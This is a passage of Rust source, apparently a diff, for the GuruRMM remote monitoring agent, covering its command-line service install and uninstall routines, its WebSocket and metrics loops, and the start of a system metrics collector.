||||
//! monitors services (watchdog), and executes remote commands.
|
||||
|
||||
mod claude;
|
||||
mod config;
|
||||
mod device_id;
|
||||
mod metrics;
|
||||
mod service;
|
||||
mod transport;
|
||||
mod tunnel;
|
||||
mod updater;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use clap::{Parser, Subcommand};
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::RwLock;
|
||||
use tracing::{error, info, warn};
|
||||
|
||||
use crate::config::AgentConfig;
|
||||
use crate::metrics::MetricsCollector;
|
||||
use crate::transport::WebSocketClient;
|
||||
|
||||
/// GuruRMM Agent - Remote Monitoring and Management
|
||||
#[derive(Parser)]
|
||||
#[command(name = "gururmm-agent")]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
struct Cli {
|
||||
/// Path to configuration file
|
||||
#[arg(short, long, default_value = "agent.toml")]
|
||||
config: PathBuf,
|
||||
|
||||
/// Subcommand to run
|
||||
#[command(subcommand)]
|
||||
command: Option<Commands>,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum Commands {
|
||||
/// Run the agent (default)
|
||||
Run,
|
||||
|
||||
/// Install as a system service
|
||||
Install {
|
||||
/// Server WebSocket URL (e.g., wss://rmm-api.example.com/ws)
|
||||
#[arg(long)]
|
||||
server_url: Option<String>,
|
||||
|
||||
/// API key for authentication
|
||||
#[arg(long)]
|
||||
api_key: Option<String>,
|
||||
|
||||
/// Skip legacy service detection and cleanup
|
||||
#[arg(long, default_value = "false")]
|
||||
skip_legacy_check: bool,
|
||||
},
|
||||
|
||||
/// Uninstall the system service
|
||||
Uninstall,
|
||||
|
||||
/// Start the installed service
|
||||
Start,
|
||||
|
||||
/// Stop the installed service
|
||||
Stop,
|
||||
|
||||
/// Show agent status
|
||||
Status,
|
||||
|
||||
/// Generate a sample configuration file
|
||||
GenerateConfig {
|
||||
/// Output path for config file
|
||||
#[arg(short, long, default_value = "agent.toml")]
|
||||
output: PathBuf,
|
||||
},
|
||||
|
||||
/// Run as Windows service (called by SCM, not for manual use)
|
||||
#[command(hide = true)]
|
||||
Service,
|
||||
}
|
||||
|
||||
/// Shared application state
|
||||
pub struct AppState {
|
||||
pub config: AgentConfig,
|
||||
pub metrics_collector: MetricsCollector,
|
||||
pub connected: RwLock<bool>,
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Initialize logging
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(
|
||||
tracing_subscriber::EnvFilter::from_default_env()
|
||||
.add_directive("gururmm_agent=info".parse()?)
|
||||
.add_directive("info".parse()?),
|
||||
)
|
||||
.init();
|
||||
|
||||
let cli = Cli::parse();
|
||||
|
||||
match cli.command.unwrap_or(Commands::Run) {
|
||||
Commands::Run => run_agent(cli.config).await,
|
||||
Commands::Install { server_url, api_key, skip_legacy_check } => {
|
||||
install_service(server_url, api_key, skip_legacy_check).await
|
||||
}
|
||||
Commands::Uninstall => uninstall_service().await,
|
||||
Commands::Start => start_service().await,
|
||||
Commands::Stop => stop_service().await,
|
||||
Commands::Status => show_status(cli.config).await,
|
||||
Commands::GenerateConfig { output } => generate_config(output).await,
|
||||
Commands::Service => run_as_windows_service(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Run as a Windows service (called by SCM)
|
||||
fn run_as_windows_service() -> Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::run_as_service()
|
||||
}
|
||||
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
anyhow::bail!("Windows service mode is only available on Windows");
|
||||
}
|
||||
}
|
||||
|
||||
/// Main agent runtime loop
|
||||
async fn run_agent(config_path: PathBuf) -> Result<()> {
|
||||
info!("GuruRMM Agent starting...");
|
||||
|
||||
// Load configuration
|
||||
let config = AgentConfig::load(&config_path)?;
|
||||
info!("Loaded configuration from {:?}", config_path);
|
||||
info!("Server URL: {}", config.server.url);
|
||||
|
||||
// Initialize metrics collector
|
||||
let metrics_collector = MetricsCollector::new();
|
||||
info!("Metrics collector initialized");
|
||||
|
||||
// Create shared state
|
||||
let state = Arc::new(AppState {
|
||||
config: config.clone(),
|
||||
metrics_collector,
|
||||
connected: RwLock::new(false),
|
||||
});
|
||||
|
||||
// Start the WebSocket client with auto-reconnect
|
||||
let ws_state = Arc::clone(&state);
|
||||
let ws_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
info!("Connecting to server...");
|
||||
match WebSocketClient::connect_and_run(Arc::clone(&ws_state)).await {
|
||||
Ok(_) => {
|
||||
warn!("WebSocket connection closed normally, reconnecting...");
|
||||
}
|
||||
Err(e) => {
|
||||
error!("WebSocket error: {}, reconnecting in 10 seconds...", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Mark as disconnected
|
||||
*ws_state.connected.write().await = false;
|
||||
|
||||
// Wait before reconnecting
|
||||
tokio::time::sleep(tokio::time::Duration::from_secs(10)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Start metrics collection loop
|
||||
let metrics_state = Arc::clone(&state);
|
||||
let metrics_handle = tokio::spawn(async move {
|
||||
let interval = metrics_state.config.metrics.interval_seconds;
|
||||
let mut interval_timer = tokio::time::interval(tokio::time::Duration::from_secs(interval));
|
||||
|
||||
loop {
|
||||
interval_timer.tick().await;
|
||||
|
||||
// Collect metrics (they'll be sent via WebSocket if connected)
|
||||
let metrics = metrics_state.metrics_collector.collect().await;
|
||||
if *metrics_state.connected.read().await {
|
||||
info!(
|
||||
"Metrics: CPU={:.1}%, Mem={:.1}%, Disk={:.1}%",
|
||||
metrics.cpu_percent, metrics.memory_percent, metrics.disk_percent
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for shutdown signal
|
||||
tokio::select! {
|
||||
_ = tokio::signal::ctrl_c() => {
|
||||
info!("Received shutdown signal");
|
||||
}
|
||||
_ = ws_handle => {
|
||||
error!("WebSocket task ended unexpectedly");
|
||||
}
|
||||
_ = metrics_handle => {
|
||||
error!("Metrics task ended unexpectedly");
|
||||
}
|
||||
}
|
||||
|
||||
info!("GuruRMM Agent shutting down");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Install the agent as a system service
|
||||
async fn install_service(
|
||||
server_url: Option<String>,
|
||||
api_key: Option<String>,
|
||||
skip_legacy_check: bool,
|
||||
) -> Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::install(server_url, api_key, skip_legacy_check)
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
install_systemd_service(server_url, api_key, skip_legacy_check).await
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
{
|
||||
let _ = (server_url, api_key, skip_legacy_check); // Suppress unused warnings
|
||||
return Err(anyhow::anyhow!(
|
||||
"macOS launchd service installation is not yet implemented.\n\
|
||||
For now, you can run the agent manually or create a launchd plist.\n\
|
||||
See: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
/// Legacy service names to check for and clean up (Linux)
|
||||
#[cfg(target_os = "linux")]
|
||||
const LINUX_LEGACY_SERVICE_NAMES: &[&str] = &[
|
||||
"gururmm", // Old name without -agent suffix
|
||||
"guru-rmm-agent", // Alternative naming
|
||||
"GuruRMM-Agent", // Case variant
|
||||
];
|
||||
|
||||
/// Clean up legacy Linux service installations
|
||||
#[cfg(target_os = "linux")]
|
||||
fn cleanup_legacy_linux_services() -> Result<()> {
|
||||
use std::process::Command;
|
||||
|
||||
info!("Checking for legacy service installations...");
|
||||
|
||||
for legacy_name in LINUX_LEGACY_SERVICE_NAMES {
|
||||
// Check if service exists
|
||||
let status = Command::new("systemctl")
|
||||
.args(["status", legacy_name])
|
||||
.output();
|
||||
|
||||
if let Ok(output) = status {
|
||||
if output.status.success() || String::from_utf8_lossy(&output.stderr).contains("Loaded:") {
|
||||
info!("Found legacy service '{}', removing...", legacy_name);
|
||||
|
||||
// Stop the service
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["stop", legacy_name])
|
||||
.status();
|
||||
|
||||
// Disable the service
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["disable", legacy_name])
|
||||
.status();
|
||||
|
||||
// Remove unit file
|
||||
let unit_file = format!("/etc/systemd/system/{}.service", legacy_name);
|
||||
if std::path::Path::new(&unit_file).exists() {
|
||||
info!("Removing legacy unit file: {}", unit_file);
|
||||
let _ = std::fs::remove_file(&unit_file);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check for legacy binaries in common locations
|
||||
let legacy_binary_locations = [
|
||||
"/usr/local/bin/gururmm",
|
||||
"/usr/bin/gururmm",
|
||||
"/opt/gururmm/gururmm",
|
||||
"/opt/gururmm/agent",
|
||||
];
|
||||
|
||||
for legacy_path in legacy_binary_locations {
|
||||
if std::path::Path::new(legacy_path).exists() {
|
||||
info!("Found legacy binary at '{}', removing...", legacy_path);
|
||||
let _ = std::fs::remove_file(legacy_path);
|
||||
}
|
||||
}
|
||||
|
||||
// Reload systemd to pick up removed unit files
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["daemon-reload"])
|
||||
.status();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Install as a systemd service (Linux)
|
||||
#[cfg(target_os = "linux")]
|
||||
async fn install_systemd_service(
|
||||
server_url: Option<String>,
|
||||
api_key: Option<String>,
|
||||
skip_legacy_check: bool,
|
||||
) -> Result<()> {
|
||||
use std::process::Command;
|
||||
|
||||
const SERVICE_NAME: &str = "gururmm-agent";
|
||||
const INSTALL_DIR: &str = "/usr/local/bin";
|
||||
const CONFIG_DIR: &str = "/etc/gururmm";
|
||||
const SYSTEMD_DIR: &str = "/etc/systemd/system";
|
||||
|
||||
info!("Installing GuruRMM Agent as systemd service...");
|
||||
|
||||
// Check if running as root
|
||||
if !nix::unistd::geteuid().is_root() {
|
||||
anyhow::bail!("Installation requires root privileges. Please run with sudo.");
|
||||
}
|
||||
|
||||
// Clean up legacy installations unless skipped
|
||||
if !skip_legacy_check {
|
||||
if let Err(e) = cleanup_legacy_linux_services() {
|
||||
warn!("Legacy cleanup warning: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Get the current executable path
|
||||
let current_exe = std::env::current_exe()
|
||||
.context("Failed to get current executable path")?;
|
||||
|
||||
let binary_dest = format!("{}/{}", INSTALL_DIR, SERVICE_NAME);
|
||||
let config_dest = format!("{}/agent.toml", CONFIG_DIR);
|
||||
let unit_file = format!("{}/{}.service", SYSTEMD_DIR, SERVICE_NAME);
|
||||
|
||||
// Create config directory
|
||||
info!("Creating config directory: {}", CONFIG_DIR);
|
||||
std::fs::create_dir_all(CONFIG_DIR)
|
||||
.context("Failed to create config directory")?;
|
||||
|
||||
// Copy binary
|
||||
info!("Copying binary to: {}", binary_dest);
|
||||
std::fs::copy(¤t_exe, &binary_dest)
|
||||
.context("Failed to copy binary")?;
|
||||
|
||||
// Make binary executable
|
||||
Command::new("chmod")
|
||||
.args(["+x", &binary_dest])
|
||||
.status()
|
||||
.context("Failed to set binary permissions")?;
|
||||
|
||||
// Handle configuration
|
||||
let config_needs_manual_edit;
|
||||
if !std::path::Path::new(&config_dest).exists() {
|
||||
info!("Creating config: {}", config_dest);
|
||||
|
||||
// Start with sample config
|
||||
let mut config = crate::config::AgentConfig::sample();
|
||||
|
||||
// Apply provided values
|
||||
if let Some(url) = &server_url {
|
||||
config.server.url = url.clone();
|
||||
}
|
||||
if let Some(key) = &api_key {
|
||||
config.server.api_key = key.clone();
|
||||
}
|
||||
|
||||
let toml_str = toml::to_string_pretty(&config)?;
|
||||
std::fs::write(&config_dest, toml_str)
|
||||
.context("Failed to write config file")?;
|
||||
|
||||
// Set restrictive permissions on config (contains API key)
|
||||
Command::new("chmod")
|
||||
.args(["600", &config_dest])
|
||||
.status()
|
||||
.context("Failed to set config permissions")?;
|
||||
|
||||
config_needs_manual_edit = server_url.is_none() || api_key.is_none();
|
||||
} else {
|
||||
info!("Config already exists: {}", config_dest);
|
||||
config_needs_manual_edit = false;
|
||||
|
||||
// If server_url or api_key provided, update existing config
|
||||
if server_url.is_some() || api_key.is_some() {
|
||||
info!("Updating existing configuration...");
|
||||
let config_content = std::fs::read_to_string(&config_dest)?;
|
||||
let mut config: crate::config::AgentConfig = toml::from_str(&config_content)
|
||||
.context("Failed to parse existing config")?;
|
||||
|
||||
if let Some(url) = &server_url {
|
||||
config.server.url = url.clone();
|
||||
}
|
||||
if let Some(key) = &api_key {
|
||||
config.server.api_key = key.clone();
|
||||
}
|
||||
|
||||
let toml_str = toml::to_string_pretty(&config)?;
|
||||
std::fs::write(&config_dest, toml_str)
|
||||
.context("Failed to update config file")?;
|
||||
}
|
||||
}
|
||||
|
||||
// Create systemd unit file
|
||||
let unit_content = format!(r#"[Unit]
|
||||
Description=GuruRMM Agent - Remote Monitoring and Management
|
||||
Documentation=https://github.com/azcomputerguru/gururmm
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart={binary} --config {config} run
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
SyslogIdentifier={service}
|
||||
|
||||
# Security hardening
|
||||
NoNewPrivileges=true
|
||||
ProtectSystem=strict
|
||||
ProtectHome=read-only
|
||||
PrivateTmp=true
|
||||
ReadWritePaths=/var/log
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
"#,
|
||||
binary = binary_dest,
|
||||
config = config_dest,
|
||||
service = SERVICE_NAME
|
||||
);
|
||||
|
||||
info!("Creating systemd unit file: {}", unit_file);
|
||||
std::fs::write(&unit_file, unit_content)
|
||||
.context("Failed to write systemd unit file")?;
|
||||
|
||||
// Reload systemd daemon
|
||||
info!("Reloading systemd daemon...");
|
||||
let status = Command::new("systemctl")
|
||||
.args(["daemon-reload"])
|
||||
.status()
|
||||
.context("Failed to reload systemd")?;
|
||||
|
||||
if !status.success() {
|
||||
anyhow::bail!("systemctl daemon-reload failed");
|
||||
}
|
||||
|
||||
// Enable the service
|
||||
info!("Enabling service...");
|
||||
let status = Command::new("systemctl")
|
||||
.args(["enable", SERVICE_NAME])
|
||||
.status()
|
||||
.context("Failed to enable service")?;
|
||||
|
||||
if !status.success() {
|
||||
anyhow::bail!("systemctl enable failed");
|
||||
}
|
||||
|
||||
println!("\n[OK] GuruRMM Agent installed successfully!");
|
||||
println!("\nInstalled files:");
|
||||
println!(" Binary: {}", binary_dest);
|
||||
println!(" Config: {}", config_dest);
|
||||
println!(" Service: {}", unit_file);
|
||||
|
||||
if config_needs_manual_edit {
|
||||
println!("\n[WARNING] IMPORTANT: Edit {} with your server URL and API key!", config_dest);
|
||||
println!("\nNext steps:");
|
||||
println!(" 1. Edit {} with your server URL and API key", config_dest);
|
||||
println!(" 2. Start the service: sudo systemctl start {}", SERVICE_NAME);
|
||||
} else {
|
||||
println!("\nStarting service...");
|
||||
let status = Command::new("systemctl")
|
||||
.args(["start", SERVICE_NAME])
|
||||
.status();
|
||||
|
||||
if status.is_ok() && status.unwrap().success() {
|
||||
println!("[OK] Service started successfully!");
|
||||
} else {
|
||||
println!("[WARNING] Failed to start service. Check logs: sudo journalctl -u {} -f", SERVICE_NAME);
|
||||
}
|
||||
}
|
||||
|
||||
println!("\nUseful commands:");
|
||||
println!(" Status: sudo systemctl status {}", SERVICE_NAME);
|
||||
println!(" Logs: sudo journalctl -u {} -f", SERVICE_NAME);
|
||||
println!(" Stop: sudo systemctl stop {}", SERVICE_NAME);
|
||||
println!(" Start: sudo systemctl start {}", SERVICE_NAME);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Uninstall the system service
|
||||
async fn uninstall_service() -> Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::uninstall()
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
uninstall_systemd_service().await
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
{
|
||||
return Err(anyhow::anyhow!(
|
||||
"macOS launchd service uninstallation is not yet implemented.\n\
|
||||
If you created a launchd plist manually, remove it from ~/Library/LaunchAgents/ or /Library/LaunchDaemons/"
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
/// Uninstall systemd service (Linux)
|
||||
#[cfg(target_os = "linux")]
|
||||
async fn uninstall_systemd_service() -> Result<()> {
|
||||
use std::process::Command;
|
||||
|
||||
const SERVICE_NAME: &str = "gururmm-agent";
|
||||
const INSTALL_DIR: &str = "/usr/local/bin";
|
||||
const CONFIG_DIR: &str = "/etc/gururmm";
|
||||
const SYSTEMD_DIR: &str = "/etc/systemd/system";
|
||||
|
||||
info!("Uninstalling GuruRMM Agent...");
|
||||
|
||||
if !nix::unistd::geteuid().is_root() {
|
||||
anyhow::bail!("Uninstallation requires root privileges. Please run with sudo.");
|
||||
}
|
||||
|
||||
let binary_path = format!("{}/{}", INSTALL_DIR, SERVICE_NAME);
|
||||
let unit_file = format!("{}/{}.service", SYSTEMD_DIR, SERVICE_NAME);
|
||||
|
||||
// Stop the service if running
|
||||
info!("Stopping service...");
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["stop", SERVICE_NAME])
|
||||
.status();
|
||||
|
||||
// Disable the service
|
||||
info!("Disabling service...");
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["disable", SERVICE_NAME])
|
||||
.status();
|
||||
|
||||
// Remove unit file
|
||||
if std::path::Path::new(&unit_file).exists() {
|
||||
info!("Removing unit file: {}", unit_file);
|
||||
std::fs::remove_file(&unit_file)?;
|
||||
}
|
||||
|
||||
// Remove binary
|
||||
if std::path::Path::new(&binary_path).exists() {
|
||||
info!("Removing binary: {}", binary_path);
|
||||
std::fs::remove_file(&binary_path)?;
|
||||
}
|
||||
|
||||
// Reload systemd
|
||||
let _ = Command::new("systemctl")
|
||||
.args(["daemon-reload"])
|
||||
.status();
|
||||
|
||||
println!("\n[OK] GuruRMM Agent uninstalled successfully!");
|
||||
println!("\nNote: Config directory {} was preserved.", CONFIG_DIR);
|
||||
println!("Remove it manually if no longer needed: sudo rm -rf {}", CONFIG_DIR);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Start the installed service
|
||||
async fn start_service() -> Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::start()
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
use std::process::Command;
|
||||
|
||||
info!("Starting GuruRMM Agent service...");
|
||||
|
||||
let status = Command::new("systemctl")
|
||||
.args(["start", "gururmm-agent"])
|
||||
.status()
|
||||
.context("Failed to start service")?;
|
||||
|
||||
if status.success() {
|
||||
println!("[OK] Service started successfully");
|
||||
println!("Check status: sudo systemctl status gururmm-agent");
|
||||
} else {
|
||||
anyhow::bail!("Failed to start service. Check: sudo journalctl -u gururmm-agent -n 50");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
{
|
||||
return Err(anyhow::anyhow!(
|
||||
"macOS launchd service start is not yet implemented.\n\
|
||||
If you created a launchd plist manually, use: launchctl load <plist-path>"
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
/// Stop the installed service
|
||||
async fn stop_service() -> Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::stop()
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
use std::process::Command;
|
||||
|
||||
info!("Stopping GuruRMM Agent service...");
|
||||
|
||||
let status = Command::new("systemctl")
|
||||
.args(["stop", "gururmm-agent"])
|
||||
.status()
|
||||
.context("Failed to stop service")?;
|
||||
|
||||
if status.success() {
|
||||
println!("[OK] Service stopped successfully");
|
||||
} else {
|
||||
anyhow::bail!("Failed to stop service");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
{
|
||||
return Err(anyhow::anyhow!(
|
||||
"macOS launchd service stop is not yet implemented.\n\
|
||||
If you created a launchd plist manually, use: launchctl unload <plist-path>"
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
/// Show agent status
|
||||
async fn show_status(config_path: PathBuf) -> Result<()> {
|
||||
// On Windows, show service status
|
||||
#[cfg(windows)]
|
||||
{
|
||||
service::windows::status()?;
|
||||
println!();
|
||||
}
|
||||
|
||||
// Try to load config for additional info
|
||||
match AgentConfig::load(&config_path) {
|
||||
Ok(config) => {
|
||||
println!("Configuration");
|
||||
println!("=============");
|
||||
println!("Config file: {:?}", config_path);
|
||||
println!("Server URL: {}", config.server.url);
|
||||
println!("Metrics interval: {} seconds", config.metrics.interval_seconds);
|
||||
println!("Watchdog enabled: {}", config.watchdog.enabled);
|
||||
|
||||
// Collect current metrics
|
||||
let collector = MetricsCollector::new();
|
||||
let metrics = collector.collect().await;
|
||||
|
||||
println!("\nCurrent System Metrics:");
|
||||
println!(" CPU Usage: {:.1}%", metrics.cpu_percent);
|
||||
println!(" Memory Usage: {:.1}%", metrics.memory_percent);
|
||||
println!(
|
||||
" Memory Used: {:.2} GB",
|
||||
metrics.memory_used_bytes as f64 / 1_073_741_824.0
|
||||
);
|
||||
println!(" Disk Usage: {:.1}%", metrics.disk_percent);
|
||||
println!(
|
||||
" Disk Used: {:.2} GB",
|
||||
metrics.disk_used_bytes as f64 / 1_073_741_824.0
|
||||
);
|
||||
}
|
||||
Err(_) => {
|
||||
println!("\nConfig file {:?} not found or invalid.", config_path);
|
||||
#[cfg(windows)]
|
||||
println!("Service config location: {}\\agent.toml", service::windows::CONFIG_DIR);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Generate a sample configuration file
|
||||
async fn generate_config(output: PathBuf) -> Result<()> {
|
||||
let sample_config = AgentConfig::sample();
|
||||
let toml_str = toml::to_string_pretty(&sample_config)?;
|
||||
|
||||
std::fs::write(&output, toml_str)?;
|
||||
println!("Sample configuration written to {:?}", output);
|
||||
println!("\nEdit this file with your server URL and API key, then run:");
|
||||
println!(" gururmm-agent --config {:?} run", output);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,605 +0,0 @@
|
||||
//! System metrics collection module
|
||||
//!
|
||||
//! Uses the `sysinfo` crate for cross-platform system metrics collection.
|
||||
//! Collects CPU, memory, disk, and network statistics.
|
||||
//! Uses `local-ip-address` for network interface enumeration.
|
||||
|
||||
use chrono::{DateTime, Utc};
|
||||
use local_ip_address::list_afinet_netifas;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Mutex;
|
||||
use sysinfo::{CpuRefreshKind, Disks, MemoryRefreshKind, Networks, RefreshKind, System, Users};
|
||||
|
||||
/// System metrics data structure
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SystemMetrics {
|
||||
/// Timestamp when metrics were collected
|
||||
pub timestamp: DateTime<Utc>,
|
||||
|
||||
/// CPU usage percentage (0-100)
|
||||
pub cpu_percent: f32,
|
||||
|
||||
/// Memory usage percentage (0-100)
|
||||
pub memory_percent: f32,
|
||||
|
||||
/// Memory used in bytes
|
||||
pub memory_used_bytes: u64,
|
||||
|
||||
/// Total memory in bytes
|
||||
pub memory_total_bytes: u64,
|
||||
|
||||
/// Disk usage percentage (0-100) - primary disk
|
||||
pub disk_percent: f32,
|
||||
|
||||
/// Disk used in bytes - primary disk
|
||||
pub disk_used_bytes: u64,
|
||||
|
||||
/// Total disk space in bytes - primary disk
|
||||
pub disk_total_bytes: u64,
|
||||
|
||||
/// Network bytes received since last collection
|
||||
pub network_rx_bytes: u64,
|
||||
|
||||
/// Network bytes transmitted since last collection
|
||||
pub network_tx_bytes: u64,
|
||||
|
||||
/// Operating system type
|
||||
pub os_type: String,
|
||||
|
||||
/// Operating system version
|
||||
pub os_version: String,
|
||||
|
||||
/// System hostname
|
||||
pub hostname: String,
|
||||
|
||||
/// System uptime in seconds
|
||||
#[serde(default)]
|
||||
pub uptime_seconds: u64,
|
||||
|
||||
/// Boot time as Unix timestamp
|
||||
#[serde(default)]
|
||||
pub boot_time: i64,
|
||||
|
||||
/// Logged in username (if available)
|
||||
#[serde(default)]
|
||||
pub logged_in_user: Option<String>,
|
||||
|
||||
/// User idle time in seconds (time since last input)
|
||||
#[serde(default)]
|
||||
pub user_idle_seconds: Option<u64>,
|
||||
|
||||
/// Public/WAN IP address (fetched periodically)
|
||||
#[serde(default)]
|
||||
pub public_ip: Option<String>,
|
||||
}
|
||||
|
||||
/// Metrics collector using sysinfo
|
||||
pub struct MetricsCollector {
|
||||
/// System info instance (needs to be refreshed for each collection)
|
||||
system: Mutex<System>,
|
||||
|
||||
/// Previous network stats for delta calculation
|
||||
prev_network_rx: Mutex<u64>,
|
||||
prev_network_tx: Mutex<u64>,
|
||||
|
||||
/// Cached public IP (refreshed less frequently)
|
||||
cached_public_ip: Mutex<Option<String>>,
|
||||
|
||||
/// Last time public IP was fetched
|
||||
last_public_ip_fetch: Mutex<Option<std::time::Instant>>,
|
||||
}
|
||||
|
||||
impl MetricsCollector {
|
||||
/// Create a new metrics collector
|
||||
pub fn new() -> Self {
|
||||
// Create system with minimal initial refresh
|
||||
let system = System::new_with_specifics(
|
||||
RefreshKind::new()
|
||||
.with_cpu(CpuRefreshKind::everything())
|
||||
.with_memory(MemoryRefreshKind::everything()),
|
||||
);
|
||||
|
||||
Self {
|
||||
system: Mutex::new(system),
|
||||
prev_network_rx: Mutex::new(0),
|
||||
prev_network_tx: Mutex::new(0),
|
||||
cached_public_ip: Mutex::new(None),
|
||||
last_public_ip_fetch: Mutex::new(None),
|
||||
}
|
||||
}
|
||||
|
||||
/// Collect current system metrics
|
||||
pub async fn collect(&self) -> SystemMetrics {
|
||||
// Collect CPU - need to do two refreshes with delay for accurate reading
|
||||
// We release the lock between operations to avoid holding MutexGuard across await
|
||||
{
|
||||
let mut system = self.system.lock().unwrap();
|
||||
system.refresh_cpu_all();
|
||||
}
|
||||
|
||||
// Small delay for CPU measurement accuracy
|
||||
tokio::time::sleep(tokio::time::Duration::from_millis(200)).await;
|
||||
|
||||
// Collect all synchronous metrics first, in a block that releases all locks
|
||||
let (
|
||||
cpu_percent,
|
||||
memory_percent,
|
||||
memory_used,
|
||||
memory_total,
|
||||
disk_percent,
|
||||
disk_used,
|
||||
disk_total,
|
||||
delta_rx,
|
||||
delta_tx,
|
||||
os_type,
|
||||
os_version,
|
||||
hostname,
|
||||
uptime_seconds,
|
||||
boot_time,
|
||||
logged_in_user,
|
||||
user_idle_seconds,
|
||||
) = {
|
||||
// Acquire system lock
|
||||
let mut system = self.system.lock().unwrap();
|
||||
system.refresh_cpu_all();
|
||||
system.refresh_memory();
|
||||
|
||||
// Calculate CPU usage (average across all cores)
|
||||
let cpu_percent = system.global_cpu_usage();
|
||||
|
||||
// Memory metrics
|
||||
let memory_used = system.used_memory();
|
||||
let memory_total = system.total_memory();
|
||||
let memory_percent = if memory_total > 0 {
|
||||
(memory_used as f32 / memory_total as f32) * 100.0
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
// Disk metrics (use first/primary disk)
|
||||
let disks = Disks::new_with_refreshed_list();
|
||||
let (disk_used, disk_total, disk_percent) = disks
|
||||
.iter()
|
||||
.next()
|
||||
.map(|d| {
|
||||
let total = d.total_space();
|
||||
let available = d.available_space();
|
||||
let used = total.saturating_sub(available);
|
||||
let percent = if total > 0 {
|
||||
(used as f32 / total as f32) * 100.0
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
(used, total, percent)
|
||||
})
|
||||
.unwrap_or((0, 0, 0.0));
|
||||
|
||||
// Network metrics (sum all interfaces)
|
||||
let networks = Networks::new_with_refreshed_list();
|
||||
let (total_rx, total_tx): (u64, u64) = networks
|
||||
.iter()
|
||||
.map(|(_, data)| (data.total_received(), data.total_transmitted()))
|
||||
.fold((0, 0), |(acc_rx, acc_tx), (rx, tx)| {
|
||||
(acc_rx + rx, acc_tx + tx)
|
||||
});
|
||||
|
||||
// Calculate delta from previous collection
|
||||
let (delta_rx, delta_tx) = {
|
||||
let mut prev_rx = self.prev_network_rx.lock().unwrap();
|
||||
let mut prev_tx = self.prev_network_tx.lock().unwrap();
|
||||
|
||||
let delta_rx = total_rx.saturating_sub(*prev_rx);
|
||||
let delta_tx = total_tx.saturating_sub(*prev_tx);
|
||||
|
||||
*prev_rx = total_rx;
|
||||
*prev_tx = total_tx;
|
||||
|
||||
(delta_rx, delta_tx)
|
||||
};
|
||||
|
||||
// Get OS info
|
||||
let os_type = std::env::consts::OS.to_string();
|
||||
let os_version = System::os_version().unwrap_or_else(|| "unknown".to_string());
|
||||
let hostname = System::host_name().unwrap_or_else(|| "unknown".to_string());
|
||||
|
||||
// Get uptime and boot time
|
||||
let uptime_seconds = System::uptime();
|
||||
let boot_time = System::boot_time() as i64;
|
||||
|
||||
// Get logged in user
|
||||
let logged_in_user = self.get_logged_in_user();
|
||||
|
||||
// Get user idle time (platform-specific)
|
||||
let user_idle_seconds = self.get_user_idle_time();
|
||||
|
||||
// Return all values - locks are dropped at end of this block
|
||||
(
|
||||
cpu_percent,
|
||||
memory_percent,
|
||||
memory_used,
|
||||
memory_total,
|
||||
disk_percent,
|
||||
disk_used,
|
||||
disk_total,
|
||||
delta_rx,
|
||||
delta_tx,
|
||||
os_type,
|
||||
os_version,
|
||||
hostname,
|
||||
uptime_seconds,
|
||||
